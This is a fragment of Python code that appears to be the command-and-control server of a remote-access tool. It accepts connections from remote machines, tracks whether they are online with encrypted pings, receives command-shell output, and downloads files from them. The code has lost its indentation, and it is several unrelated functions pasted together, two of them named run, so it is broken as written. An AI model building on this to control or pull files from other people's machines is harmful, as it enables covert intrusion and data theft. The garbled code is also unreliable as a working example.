def run(self):
while True:
if self.parent.command == "closeWindow": # Receive the information to break the loop and to close the thread.
self.parent.readstate = False # Indicate to the ClientThread that the loop in the readThread is ended.
break
elif self.parent.wait:
#################
# FILE DOWNLOAD #
#################
if self.download:
try:
fic_to_write = open(self.parent.filenamew, 'wb')
data_crypted = tools.recv_timeout(self.sockett, 2) # Receive the encrypted file bytes.
if data_crypted:
data_decrypted = de_crypt.decrypt_packet(data_crypted) # Decrypt the message.
if data_decrypted != "[*] The file has been downloaded.\n":
fic_to_write.write(data_decrypted)
fic_to_write.flush()
fic_to_write.close()
self.res = self.data
self.data = list()
self.download = False
except:
pass
else:
#################
# NORMAL STRING #
#################
try:
res_crypted = tools.recv_timeout(self.sockett, 2) # Receive the client information.
if res_crypted: # To avoid trouble with the ping request.
tmp = de_crypt.decrypt_packet(res_crypted) # Decrypt the message.
if tmp == "/---/Downloading/---/":
self.download = True
elif tmp != "/---/Yes sir/---/": # If the message is not the ping we set res.
self.res = tmp
if self.parent.client.status != "ONLINE": # Verify the status and set it because the ping
self.parent.client.status = "ONLINE" # is disabled when the shell is open.
elif not res_crypted:
self.res = "[*] - The client is offline. Try again later !" # If the socket isn't bind.
if self.parent.client.status != "OFFLINE": # Verify the status and set it because the ping
self.parent.client.status = "OFFLINE" # is disabled when the shell is open.
except:
pass # Used to go through the exception that is raised when we want to stop the thread.
time.sleep(1)
def verify_connec(client):
# Verify the status before sending the delete message to prevent from errors.
try:
client.sockett.send(de_crypt.encrypt_packet("/---/Alive ?/---/")) # Verify the client socket state.
rep = de_crypt.decrypt_packet(recv_timeout(client.sockett, 1)) # Get the answer (or not).
if rep == "/---/Yes sir/---/" and client.status != "ONLINE":
client.status = "ONLINE"
elif not rep and client.status != "OFFLINE": # IF no answer then "OFFLINE".
client.status = "OFFLINE"
except:
if client.status != "OFFLINE":
client.status = "OFFLINE"
pass
def run(self):
while server_status:
try:
(connection, (self.ip, self.port)) = self.sock.accept() # Accept the remote connections.
self.accepted = True
except:
pass
if self.accepted:
res_crypted = connection.recv(1024) # Receive the first message which is the system.
res = de_crypt.decrypt_packet(res_crypted)
answer = res.split(":=:")
client = Client(self.ip, self.port, "ONLINE", connection, answer[1]) # Create a client
clientlist.append(client) # Add the client to the client's list.
self.accepted = False
